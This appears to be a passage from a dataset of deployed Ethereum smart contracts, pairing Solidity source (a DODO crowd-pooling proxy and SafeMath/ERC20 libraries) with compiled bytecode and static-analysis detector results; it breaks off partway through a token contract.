IERC20(_collateral).balanceOf(address(this))); } }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c806305e0b9a01461005c5780633cedf2df1461009057806348ccda3c146101085780636b6c07741461013c578063ca5ce2ec14610170575b600080fd5b6100646101f4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100f2600480360360408110156100a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061020c565b6040518082815260200191505060405180910390f35b610110610354565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61014461036c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101f26004803603606081101561018657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610384565b005b731ceb5cb57c4d4e2b2433641b95dd330a33185a4481565b60008073398ec7346dcd622edc5ae82352f02be94c62d11973ffffffffffffffffffffffffffffffffffffffff166328dd2d0185856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff168152602001925050506101406040518083038186803b1580156102a957600080fd5b505afa1580156102bd573d6000803e3d6000fd5b505050506040513d6101408110156102d457600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505050505050505050509150508091505092915050565b73398ec7346dcd622edc5ae82352f02be94c62d11981565b733dfd23a6c5e8bbcfc9581d2e864a68feb6a076d381565b731ceb5cb57c4d4e2b2433641b95dd330a33185a4473ffffffffffffffffffffffffffffffffffffffff16636ba42aaa336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561040157600080fd5b505af1158015610415573d6000803e3d6000fd5b505050506040513d602081101561042b57600080fd5b8101908080519060200190929190505050610491576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180610fd06024913960400191505060405180910390fd5b600061049d838361020c565b905060008111610515576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f4e6f20646562740000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6105423330838673ffffffffffffffffffffffffffffffffffffffff166109f4909392919063ffffffff16565b610581733dfd23a6c5e8bbcfc9581d2e864a68feb6a076d3828573ffffffffffffffffffffffffffffffffffffffff16610ab59092919063ffffffff16565b73398ec7346dcd622edc5ae82352f02be94c62d11973ffffffffffffffffffffffffffffffffffffffff1662a718a98585858560006040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001821515815260200195505050505050600060405180830381600087803b15801561064c57600080fd5b505af1158015610660573d6000803e3d6000fd5b505050506106a4733dfd23a6c5e8bbcfc9581d2e864a68feb6a076d360008573ffffffffffffffffffffffffffffffffffffffff16610ab59092919063ffffffff16565b60008473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561070d57600080fd5b505afa158015610721573d6000803e3d6000fd5b505050506040513d602081101561073757600080fd5b81019080805190602001909291905050509050600081116107c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4661696c656420746f206c69717569646174650000000000000000000000000081525060200191505060405180910390fd5b61088c338573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561082b57600080fd5b505afa15801561083f573d6000803e3d6000fd5b505050506040513d602081101561085557600080fd5b81019080805190602001909291905050508673ffffffffffffffffffffffffffffffffffffffff16610c7a9092919063ffffffff16565b610958338673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156108f757600080fd5b505afa15801561090b573d6000803e3d6000fd5b505050506040513d602081101561092157600080fd5b81019080805190602001909291905050508773ffffffffffffffffffffffffffffffffffffffff16610c7a9092919063ffffffff16565b5050731ceb5cb57c4d4e2b2433641b95dd330a33185a4473ffffffffffffffffffffffffffffffffffffffff16635feeb794336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156109d757600080fd5b505af11580156109eb573d6000803e3d6000fd5b50505050505050565b610aaf846323b872dd60e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610d1c565b50505050565b6000811480610b83575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015610b4657600080fd5b505afa158015610b5a573d6000803e3d6000fd5b505050506040513d6020811015610b7057600080fd5b8101908080519060200190929190505050145b610bd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180610ff46036913960400191505060405180910390fd5b610c758363095ea7b360e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610d1c565b505050565b610d178363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610d1c565b505050565b610d3b8273ffffffffffffffffffffffffffffffffffffffff16610f84565b610dad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5361666545524332303a2021636f6e747261637400000000000000000000000081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310610dfc5780518252602082019150602081019050602083039250610dd9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610e5e576040519150601f19603f3d011682016040523d82523d6000602084013e610e63565b606091505b509150915081610edb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115610f7e57808060200190516020811015610efa57600080fd5b8101908080519060200190929190505050610f7d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f5361666545524332303a2021737563636565640000000000000000000000000081525060200191505060405180910390fd5b5b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f9150808214158015610fc657506000801b8214155b9250505091905056fe3a3a69734b65657065723a206b6565706572206973206e6f7420726567697374657265645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a26469706673582212208d36eec6e440d78c11cb9fb82e9830c7d726a0dc9dbef42fee493b06a7d0fb8764736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,343
0x048B8926bb0eE9c52e05D61fDffbCCffbeE06Fc2
/** *Submitted for verification at Etherscan.io on 2021-04-29 */ // File: contracts/intf/IDODOApprove.sol /* Copyright 2020 DODO ZOO. SPDX-License-Identifier: Apache-2.0 */ pragma solidity 0.6.9; interface IDODOApprove { function claimTokens(address token,address who,address dest,uint256 amount) external; function getDODOProxy() external view returns (address); } // File: contracts/lib/InitializableOwnable.sol /** * @title Ownable * @author DODO Breeder * * @notice Ownership related functions */ contract InitializableOwnable { address public _OWNER_; address public _NEW_OWNER_; bool internal _INITIALIZED_; // ============ Events ============ event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); // ============ Modifiers ============ modifier notInitialized() { require(!_INITIALIZED_, "DODO_INITIALIZED"); _; } modifier onlyOwner() { require(msg.sender == _OWNER_, "NOT_OWNER"); _; } // ============ Functions ============ function initOwner(address newOwner) public notInitialized { _INITIALIZED_ = true; _OWNER_ = newOwner; } function transferOwnership(address newOwner) public onlyOwner { emit OwnershipTransferPrepared(_OWNER_, newOwner); _NEW_OWNER_ = newOwner; } function claimOwnership() public { require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM"); emit OwnershipTransferred(_OWNER_, _NEW_OWNER_); _OWNER_ = _NEW_OWNER_; _NEW_OWNER_ = address(0); } } // File: contracts/SmartRoute/DODOApproveProxy.sol interface IDODOApproveProxy { function isAllowedProxy(address _proxy) external view returns (bool); function claimTokens(address token,address who,address dest,uint256 amount) external; } /** * @title DODOApproveProxy * @author DODO Breeder * * @notice Allow different version dodoproxy to claim from DODOApprove */ contract DODOApproveProxy is InitializableOwnable { // ============ Storage ============ uint256 private constant _TIMELOCK_DURATION_ = 3 days; mapping (address => bool) public _IS_ALLOWED_PROXY_; uint256 public _TIMELOCK_; address public _PENDING_ADD_DODO_PROXY_; address public immutable _DODO_APPROVE_; // ============ Modifiers ============ modifier notLocked() { require( _TIMELOCK_ <= block.timestamp, "SetProxy is timelocked" ); _; } constructor(address dodoApporve) public { _DODO_APPROVE_ = dodoApporve; } function init(address owner, address[] memory proxies) external { initOwner(owner); for(uint i = 0; i < proxies.length; i++) _IS_ALLOWED_PROXY_[proxies[i]] = true; } function unlockAddProxy(address newDodoProxy) public onlyOwner { _TIMELOCK_ = block.timestamp + _TIMELOCK_DURATION_; _PENDING_ADD_DODO_PROXY_ = newDodoProxy; } function lockAddProxy() public onlyOwner { _PENDING_ADD_DODO_PROXY_ = address(0); _TIMELOCK_ = 0; } function addDODOProxy() external onlyOwner notLocked() { _IS_ALLOWED_PROXY_[_PENDING_ADD_DODO_PROXY_] = true; lockAddProxy(); } function removeDODOProxy (address oldDodoProxy) public onlyOwner { _IS_ALLOWED_PROXY_[oldDodoProxy] = false; } function claimTokens( address token, address who, address dest, uint256 amount ) external { require(_IS_ALLOWED_PROXY_[msg.sender], "DODOApproveProxy:Access restricted"); IDODOApprove(_DODO_APPROVE_).claimTokens( token, who, dest, amount ); } function isAllowedProxy(address _proxy) external view returns (bool) { return _IS_ALLOWED_PROXY_[_proxy]; } } // File: contracts/SmartRoute/intf/IDODOV2.sol interface IDODOV2 { //========== Common ================== function sellBase(address to) external returns (uint256 receiveQuoteAmount); function sellQuote(address to) external returns (uint256 receiveBaseAmount); function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve); function _BASE_TOKEN_() external view returns (address); function _QUOTE_TOKEN_() external view returns (address); function getPMMStateForCall() external view returns ( uint256 i, uint256 K, uint256 B, uint256 Q, uint256 B0, uint256 Q0, uint256 R ); function getUserFeeRate(address user) external view returns (uint256 lpFeeRate, uint256 mtFeeRate); function getDODOPoolBidirection(address token0, address token1) external view returns (address[] memory, address[] memory); //========== DODOVendingMachine ======== function createDODOVendingMachine( address baseToken, address quoteToken, uint256 lpFeeRate, uint256 i, uint256 k, bool isOpenTWAP ) external returns (address newVendingMachine); function buyShares(address to) external returns (uint256,uint256,uint256); //========== DODOPrivatePool =========== function createDODOPrivatePool() external returns (address newPrivatePool); function initDODOPrivatePool( address dppAddress, address creator, address baseToken, address quoteToken, uint256 lpFeeRate, uint256 k, uint256 i, bool isOpenTwap ) external; function reset( address operator, uint256 newLpFeeRate, uint256 newI, uint256 newK, uint256 baseOutAmount, uint256 quoteOutAmount, uint256 minBaseReserve, uint256 minQuoteReserve ) external returns (bool); function _OWNER_() external returns (address); //========== CrowdPooling =========== function createCrowdPooling() external returns (address payable newCrowdPooling); function initCrowdPooling( address cpAddress, address creator, address baseToken, address quoteToken, uint256[] memory timeLine, uint256[] memory valueList, bool isOpenTWAP ) external; function bid(address to) external; } // File: contracts/intf/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } // File: contracts/lib/SafeMath.sol /** * @title SafeMath * @author DODO Breeder * * @notice Math operations with safety checks that revert on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "MUL_ERROR"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "DIVIDING_ERROR"); return a / b; } function divCeil(uint256 a, uint256 b) internal pure returns (uint256) { uint256 quotient = div(a, b); uint256 remainder = a - quotient * b; if (remainder > 0) { return quotient + 1; } else { return quotient; } } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SUB_ERROR"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "ADD_ERROR"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = x / 2 + 1; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } // File: contracts/lib/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/intf/IWETH.sol interface IWETH { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address src, address dst, uint256 wad ) external returns (bool); function deposit() external payable; function withdraw(uint256 wad) external; } // File: contracts/lib/ReentrancyGuard.sol /** * @title ReentrancyGuard * @author DODO Breeder * * @notice Protect functions from Reentrancy Attack */ contract ReentrancyGuard { // https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations // zero-state of _ENTERED_ is false bool private _ENTERED_; modifier preventReentrant() { require(!_ENTERED_, "REENTRANT"); _ENTERED_ = true; _; _ENTERED_ = false; } } // File: contracts/SmartRoute/proxies/DODOCpProxy.sol /** * @title DODOCpProxy * @author DODO Breeder * * @notice CrowdPooling && UpCrowdPooling Proxy */ contract DODOCpProxy is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // ============ Storage ============ address constant _ETH_ADDRESS_ = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public immutable _WETH_; address public immutable _DODO_APPROVE_PROXY_; address public immutable _UPCP_FACTORY_; address public immutable _CP_FACTORY_; // ============ Modifiers ============ modifier judgeExpired(uint256 deadLine) { require(deadLine >= block.timestamp, "DODOCpProxy: EXPIRED"); _; } fallback() external payable {} receive() external payable {} constructor( address payable weth, address cpFactory, address upCpFactory, address dodoApproveProxy ) public { _WETH_ = weth; _CP_FACTORY_ = cpFactory; _UPCP_FACTORY_ = upCpFactory; _DODO_APPROVE_PROXY_ = dodoApproveProxy; } //============ UpCrowdPooling Functions (create) ============ function createUpCrowdPooling( address baseToken, address quoteToken, uint256 baseInAmount, uint256[] memory timeLine, uint256[] memory valueList, bool isOpenTWAP, uint256 deadLine ) external payable preventReentrant judgeExpired(deadLine) returns (address payable newUpCrowdPooling) { address _baseToken = baseToken; address _quoteToken = quoteToken == _ETH_ADDRESS_ ? _WETH_ : quoteToken; newUpCrowdPooling = IDODOV2(_UPCP_FACTORY_).createCrowdPooling(); _deposit( msg.sender, newUpCrowdPooling, _baseToken, baseInAmount, false ); (bool success, ) = newUpCrowdPooling.call{value: msg.value}(""); require(success, "DODOCpProxy: Transfer failed"); IDODOV2(_UPCP_FACTORY_).initCrowdPooling( newUpCrowdPooling, msg.sender, _baseToken, _quoteToken, timeLine, valueList, isOpenTWAP ); } //============ CrowdPooling Functions (create) ============ function createCrowdPooling( address baseToken, address quoteToken, uint256 baseInAmount, uint256[] memory timeLine, uint256[] memory valueList, bool isOpenTWAP, uint256 deadLine ) external payable preventReentrant judgeExpired(deadLine) returns (address payable newCrowdPooling) { address _baseToken = baseToken; address _quoteToken = quoteToken == _ETH_ADDRESS_ ? _WETH_ : quoteToken; newCrowdPooling = IDODOV2(_CP_FACTORY_).createCrowdPooling(); _deposit( msg.sender, newCrowdPooling, _baseToken, baseInAmount, false ); (bool success, ) = newCrowdPooling.call{value: msg.value}(""); require(success, "DODOCpProxy: Transfer failed"); IDODOV2(_CP_FACTORY_).initCrowdPooling( newCrowdPooling, msg.sender, _baseToken, _quoteToken, timeLine, valueList, isOpenTWAP ); } //====================== internal ======================= function _deposit( address from, address to, address token, uint256 amount, bool isETH ) internal { if (isETH) { if (amount > 0) { IWETH(_WETH_).deposit{value: amount}(); if (to != address(this)) SafeERC20.safeTransfer(IERC20(_WETH_), to, amount); } } else { IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(token, from, to, amount); } } }
0x6080604052600436106100595760003560e01c8063018c9fda146100625780630d4eec8f146101c85780633afe1f4c146101dd5780638fe21dec146101f2578063eb99be121461033c578063faa980e41461035157610060565b3661006057005b005b6101ac600480360360e081101561007857600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b8111156100b257600080fd5b8201836020820111156100c457600080fd5b803590602001918460208302840111600160201b831117156100e557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561013457600080fd5b82018360208201111561014657600080fd5b803590602001918460208302840111600160201b8311171561016757600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955050505080351515915060200135610366565b604080516001600160a01b039092168252519081900360200190f35b3480156101d457600080fd5b506101ac610723565b3480156101e957600080fd5b506101ac610747565b6101ac600480360360e081101561020857600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561024257600080fd5b82018360208201111561025457600080fd5b803590602001918460208302840111600160201b8311171561027557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156102c457600080fd5b8201836020820111156102d657600080fd5b803590602001918460208302840111600160201b831117156102f757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505050508035151591506020013561076b565b34801561034857600080fd5b506101ac610a8a565b34801561035d57600080fd5b506101ac610aae565b6000805460ff16156103ab576040805162461bcd60e51b815260206004820152600960248201526814915153951490539560ba1b604482015290519081900360640190fd5b6000805460ff191660011790558142811015610405576040805162461bcd60e51b81526020600482015260146024820152731113d113d0dc141c9bde1e4e881156141254915160621b604482015290519081900360640190fd5b8860006001600160a01b038a1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee146104325789610454565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25b90507f000000000000000000000000e8c9a78725d0451fa19878d5f8a3dc0d55fecf256001600160a01b03166389edcf146040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156104b157600080fd5b505af11580156104c5573d6000803e3d6000fd5b505050506040513d60208110156104db57600080fd5b505193506104ed3385848c6000610ad2565b6040516000906001600160a01b0386169034908381818185875af1925050503d8060008114610538576040519150601f19603f3d011682016040523d82523d6000602084013e61053d565b606091505b5050905080610593576040805162461bcd60e51b815260206004820152601c60248201527f444f444f437050726f78793a205472616e73666572206661696c656400000000604482015290519081900360640190fd5b7f000000000000000000000000e8c9a78725d0451fa19878d5f8a3dc0d55fecf256001600160a01b031663ecfc2db0863386868e8e8e6040518863ffffffff1660e01b815260040180886001600160a01b03166001600160a01b03168152602001876001600160a01b03166001600160a01b03168152602001866001600160a01b03166001600160a01b03168152602001856001600160a01b03166001600160a01b03168152602001806020018060200184151515158152602001838103835286818151815260200191508051906020019060200280838360005b8381101561068657818101518382015260200161066e565b50505050905001838103825285818151815260200191508051906020019060200280838360005b838110156106c55781810151838201526020016106ad565b505050509050019950505050505050505050600060405180830381600087803b1580156106f157600080fd5b505af1158015610705573d6000803e3d6000fd5b50506000805460ff1916905550949c9b505050505050505050505050565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b7f00000000000000000000000078d338f9d54e9e41872e68cb1c01d9499d87ee5281565b6000805460ff16156107b0576040805162461bcd60e51b815260206004820152600960248201526814915153951490539560ba1b604482015290519081900360640190fd5b6000805460ff19166001179055814281101561080a576040805162461bcd60e51b81526020600482015260146024820152731113d113d0dc141c9bde1e4e881156141254915160621b604482015290519081900360640190fd5b8860006001600160a01b038a1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee146108375789610859565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25b90507f00000000000000000000000078d338f9d54e9e41872e68cb1c01d9499d87ee526001600160a01b03166389edcf146040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156108b657600080fd5b505af11580156108ca573d6000803e3d6000fd5b505050506040513d60208110156108e057600080fd5b505193506108f23385848c6000610ad2565b6040516000906001600160a01b0386169034908381818185875af1925050503d806000811461093d576040519150601f19603f3d011682016040523d82523d6000602084013e610942565b606091505b5050905080610998576040805162461bcd60e51b815260206004820152601c60248201527f444f444f437050726f78793a205472616e73666572206661696c656400000000604482015290519081900360640190fd5b7f00000000000000000000000078d338f9d54e9e41872e68cb1c01d9499d87ee526001600160a01b031663ecfc2db0863386868e8e8e6040518863ffffffff1660e01b815260040180886001600160a01b03166001600160a01b03168152602001876001600160a01b03166001600160a01b03168152602001866001600160a01b03166001600160a01b03168152602001856001600160a01b03166001600160a01b03168152602001806020018060200184151515158152602001838103835286818151815260200191508051906020019060200280838360008381101561068657818101518382015260200161066e565b7f000000000000000000000000335ac99bb3e51bdbf22025f092ebc1cf2c5cc61981565b7f000000000000000000000000e8c9a78725d0451fa19878d5f8a3dc0d55fecf2581565b8015610b93578115610b8e577f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0836040518263ffffffff1660e01b81526004016000604051808303818588803b158015610b3957600080fd5b505af1158015610b4d573d6000803e3d6000fd5b505050506001600160a01b03851630149050610b8e57610b8e7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28584610c36565b610c2f565b6040805163052f523360e11b81526001600160a01b038581166004830152878116602483015286811660448301526064820185905291517f000000000000000000000000335ac99bb3e51bdbf22025f092ebc1cf2c5cc61990921691630a5ea4669160848082019260009290919082900301818387803b158015610c1657600080fd5b505af1158015610c2a573d6000803e3d6000fd5b505050505b5050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610c88908490610c8d565b505050565b60006060836001600160a01b0316836040518082805190602001908083835b60208310610ccb5780518252601f199092019160209182019101610cac565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610d2d576040519150601f19603f3d011682016040523d82523d6000602084013e610d32565b606091505b509150915081610d89576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610de257808060200190516020811015610da557600080fd5b5051610de25760405162461bcd60e51b815260040180806020018281038252602a815260200180610de9602a913960400191505060405180910390fd5b5050505056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122078370a13ff1c41d2f5b69ce7161641a9bec5fbfe07eced7b34ee3d157cddf6a964736f6c63430006090033
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,344
0x97c791d93c1d175a74450f6f9f9ee2885ea67d6f
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity ^0.7.0; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view override returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public override returns (bool) { 